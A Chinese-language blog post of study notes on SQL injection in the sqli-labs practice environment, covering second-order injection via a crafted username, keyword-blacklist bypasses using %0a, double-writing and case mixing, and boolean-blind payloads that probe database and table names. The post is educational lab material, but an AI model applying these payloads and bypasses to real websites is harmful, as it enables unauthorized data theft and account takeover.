首页 > 数据库 >SQL注入基础学习6

SQL注入基础学习6

时间:2023-08-24 18:01:34浏览次数:45  
标签:preg Strip replace 学习 0a SQL out id 注入

SQL注入基础学习6

三、sqli-labs的page-2

6、第24关
二次注入基础知识
  • 二次注入原理:在第一次进行数据库插入数据的时候,仅仅只是使用了addslashesaddslashes() 函数返回在预定义字符之前添加反斜杠的字符串。)或者是借助get_magic_quotes_gpc(php7.4版本之后被弃用)对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然在过滤后会添加\进行转义,但是\并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据

  • 二次注入的过程:

    • 第一步:插入恶意数据
      • 第一次进行数据库插入数据的时候,仅仅对其的特殊字符进行转义,在写入数据库的时候还是保留了原来的数据,但是数据的本身包含恶意内容
    • 第二步:引用恶意数据
      • 再将数据存入到数据库中后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出恶意数据,没有进行校验和处理。这样就会造成sql二次注入
    • 图解
  • 关卡实操

    • 查看数据库中的用户

      假如你知道有用户admin4,但是不知道密码,此时可以从二次注入来将admin4给修改了

    • 注册一个新用户admin4' #

    • 登录admin4' #,修改密码,将密码改为56789

      此时会发现,是admin4的账户密码被修改了

    • 分析修改密码的部分代码

      • UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
        

        注册的恶意用户可以将sql语句闭合并且注释了后面密码对比,以次达到二次注入的效果

7、第27关

查看该关卡对过滤要求的源码

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}
  • 绕过手法:

    • 空格的过滤可以用%0a来绕过

    • union可以用双写绕过,也可以用大小写绕过

    • select观察源码,过滤了两次,可以写三次来绕过或者大小写绕过

    • payload:

      id=0'%0auniunionon%0aseselselectectlect%0a1,2,3%0aor%0a'1'='1
      
      id=0'%0auNion%0aseLect%0a1,2,3%0aor%0a'1'='1
      
8、第27a关

该关卡在上一关的基础上加了盲注,分析源码

  • 过滤的内容

    function blacklist($id)
    {
    $id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
    $id= preg_replace('/[--]/',"", $id);		//Strip out --.
    $id= preg_replace('/[#]/',"", $id);			//Strip out #.
    $id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
    $id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
    $id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
    $id= preg_replace('/union/s',"", $id);	    //Strip out union
    $id= preg_replace('/select/s',"", $id);	    //Strip out select
    $id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
    $id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
    $id= preg_replace('/Union/s',"", $id);	    //Strip out Union
    $id= preg_replace('/Select/s',"", $id);	    //Strip out Select
    return $id;
    }
    
  • 收到参数后的处理

根据源码可以知道,闭合方式为"闭合

构造payload

获取数据库长度
?id=1"%0aand%0aif%0a(length(database())=8,1,0)%0aand%0a"1"="1

数据库的名字
?id=1"%0aand%0aif%0a(mid(database(),1,1)='s',1,0)%0aand%0a"1"="1

表的个数
?id=1"%0aand%0a(SelecT%0a count(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database())=4%0aand%0a"1"="1

标签:preg,Strip,replace,学习,0a,SQL,out,id,注入
From: https://www.cnblogs.com/xiaoyi208/p/17654800.html

相关文章

  • MySQL基础笔记
    MySQLDDL:操作数据库和表DML:对数据进行增删改DQL:对数据进行查询DCL:对数据库进行权限管理数据库增删改查createdatabaseifnotexistsdb1;#如果数据库不存在才创建dropdatabaseifexistsdb1;#如果数据库存在才删除usedb1;#使用数据库selectDATABASE();#......
  • InnoDB 中不同 SQL 语句设置的锁
    目录InnoDB中不同SQL语句设置的锁查询快照读(一致性读)当前读更新删除插入AUTO_INCREMENT锁定外键约束表锁InnoDB中不同SQL语句设置的锁加锁读(lockingread)、UPDATE语句或者DELETE语句通常会对在SQL语句处理过程中扫描的每个索引记录设置记录锁,即索引记录锁(indexreco......
  • 【学习笔记】Manacher(马拉车)求回文子串
    点击查看目录目录参考资料与图片来源算法思路具体实现例题解题参考资料与图片来源参考博客我觉得这个博客讲的不好,他只讲看规律得到的结论,原因却不说,怪。参考博客2oi-wiki算法思路对于长度可能为奇可能为偶的情况,首先要预处理字符串,在每个字符左右增加一个无关字符#。......
  • 华为ENSP学习之链路聚合
    作用:合并多条物理链路,形成一条逻辑链路,从而增加带宽,解决网络瓶颈问题 基本思路两种:(一)挨个端口设置聚合:1、创建聚合状态2、设置聚合状态的类型3、进入相应接口,将聚合状态应用到接口(二)聚合内批量添加:1、创建聚合状态2、设置聚合状态的类型3、进入聚合状态内,批量添加结构到......
  • 不同系统无法安装mysqlclient的解决办法
    (注意系统的版本和MySQLclient的版本,Python版本的对应问题)一CentOS(红帽)#CentOS有Python、Mysql的开发工具包,安装后使用pip安装mysqlclient即可yuminstallmysql-develyuminstallpython-devel#yuminstallpython36-develpipinstallmysqlclient二Ubuntu#Ubuntu的话,......
  • 哈夫曼树学习笔记
    定义:1.二叉哈夫曼树:对于一个数列,构建一棵树上带权路径之和最小的二叉树(当然可以\(k\)叉)2.树上带权路径:每个叶子节点到根节点的路径上所有节点的点权\(w\)和到跟的路径长度\(dis\)的乘积之和简单来说,哈夫曼树满足\(\sumw_i\timesdis_i\)最小基本构造方法:前置知识(没做过也......
  • H5学习
    什么是H5文章一中总结一句话:只要知道HTML5相比以前最重要的特性,就是增强对移动设备的支持。我们可以用它开发出更符合移动端操作的界面,调用手机的特殊硬件支持。文章二从手机APP角度介绍了H5的概念。......
  • 帆软报表--动态参数注入
    帆软官方文档https://help.fanruan.com/当报表的数据需要关联多张表才能查询,但关联查询速度又太慢时,可以使用动态参数注入的功能,可以提高报表的加载速度,又不用编写复杂的SQL语句--将当前行B列的数据作为参数获取当前列对应的值......
  • MySQL 索引提示 - FORCE INDEX
    概述 在MySQL中,FORCEINDEX是一种查询提示,用于强制查询优化器使用特定索引来执行查询。查询优化器在执行查询时,会根据统计信息和查询条件等来选择最优的执行计划,包括选择哪个索引来提高查询性能。但有时候查询优化器可能会选择非最优的索引,或者无法识别最适合的索引,这时可以使......
  • 中间件学习 - Rabbit MQ 概念及特殊MQ实现
    RabbitMQ官方文档介绍RabbitMQ是一个消息队列组件,使用Erlang开发,消息队列中间件是分布式系统中重要的组件,主要解决应用耦合,异步消息,流量削锋等问题安装使用安装Erlang(RabbitMQ基于Erlang开发)Downloads-Erlang/OTP配置Erlang环境erl-version验证安装rabbitMQDownl......